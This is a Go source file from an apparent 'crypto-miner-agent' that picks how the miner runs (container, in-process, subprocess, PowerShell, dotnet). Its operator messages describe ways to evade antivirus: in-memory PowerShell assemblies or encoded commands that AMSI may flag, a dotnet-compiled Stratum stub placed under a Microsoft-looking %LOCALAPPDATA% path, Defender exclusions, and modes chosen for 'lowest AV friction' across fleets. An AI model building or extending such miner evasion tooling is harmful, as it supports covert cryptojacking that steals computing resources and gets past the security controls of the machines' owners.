package miner

import (
	"strings"

	"crypto-miner-agent/config"
)

// CPU/GPU workload execution — distinct from schedule MiningMode (always/idle/scheduled).
const (
	ExecutionAuto       = "auto"
	ExecutionContainer  = "container"
	ExecutionInProcess  = "inprocess"
	ExecutionSubprocess = "subprocess"
	ExecutionPowerShell = "powershell"
	ExecutionDotnet     = "dotnet"
)

// ContainerRuntimeInfo describes a detected OCI CLI (docker or podman).
type ContainerRuntimeInfo struct {
	Available bool
	CLI       string // "docker" or "podman"
	Version   string
}

// RuntimeDetector checks for a container CLI. Tests inject a mock via SetRuntimeDetector.
var RuntimeDetector = DetectContainerRuntime

// SetRuntimeDetector restores the default detector when fn is nil.
func SetRuntimeDetector(fn func() ContainerRuntimeInfo) {
	if fn == nil {
		RuntimeDetector = DetectContainerRuntime
		return
	}
	RuntimeDetector = fn
}

// ResolveExecutionMode picks the effective miner execution path.
// auto → container when a runtime is available, otherwise inprocess.
func ResolveExecutionMode(cfg config.RuntimeConfig) (mode string, runtime ContainerRuntimeInfo) {
	runtime = RuntimeDetector()
	raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
	switch raw {
	case "", ExecutionAuto:
		if runtime.Available {
			return ExecutionContainer, runtime
		}
		return ExecutionInProcess, runtime
	case ExecutionContainer:
		return ExecutionContainer, runtime
	case ExecutionInProcess:
		return ExecutionInProcess, runtime
	case ExecutionSubprocess:
		return ExecutionSubprocess, runtime
	case ExecutionPowerShell:
		return ExecutionPowerShell, runtime
	case ExecutionDotnet:
		return ExecutionDotnet, runtime
	default:
		if runtime.Available {
			return ExecutionContainer, runtime
		}
		return ExecutionInProcess, runtime
	}
}

// ContainerModeRequested reports whether forge/config asked for container isolation.
func ContainerModeRequested(cfg config.RuntimeConfig) bool {
	raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
	return raw == ExecutionContainer || raw == ExecutionAuto || raw == ""
}

// AVBlockRecommendation returns operator guidance when mining may be AV-blocked.
func AVBlockRecommendation(mode string, runtime ContainerRuntimeInfo) string {
	switch mode {
	case ExecutionInProcess:
		return "In-process RandomX avoids external CPU miner exes — add Defender path/process exclusions via Calibrate if hashrate stays 0"
	case ExecutionContainer:
		if runtime.Available {
			return "Container mode isolates CPU mining but AV still scans docker.exe and image layers"
		}
		return "Container mode requested but no Docker/Podman runtime — agent falls back to in-process RandomX"
	case ExecutionSubprocess:
		return "Subprocess mode spawns GPU miners (T-Rex/TRM) — high AV friction; use inprocess for CPU-only fleets"
	case ExecutionPowerShell:
		return "PowerShell tier loads mining via powershell.exe + in-memory assembly or encoded command — AMSI may still flag; falls back to in-process"
	case ExecutionDotnet:
		return "Dotnet tier compiles a minimal Stratum stub via trusted dotnet/msbuild under %LOCALAPPDATA%\\Microsoft — falls back to in-process"
	default:
		if runtime.Available {
			return "Auto mode may launch Docker — prefer miner_execution=inprocess for lowest AV friction on CPU-only rigs"
		}
		return "Antivirus may block mining — use miner_execution=inprocess (no external CPU exe) and Defender exclusions for install path"
	}
}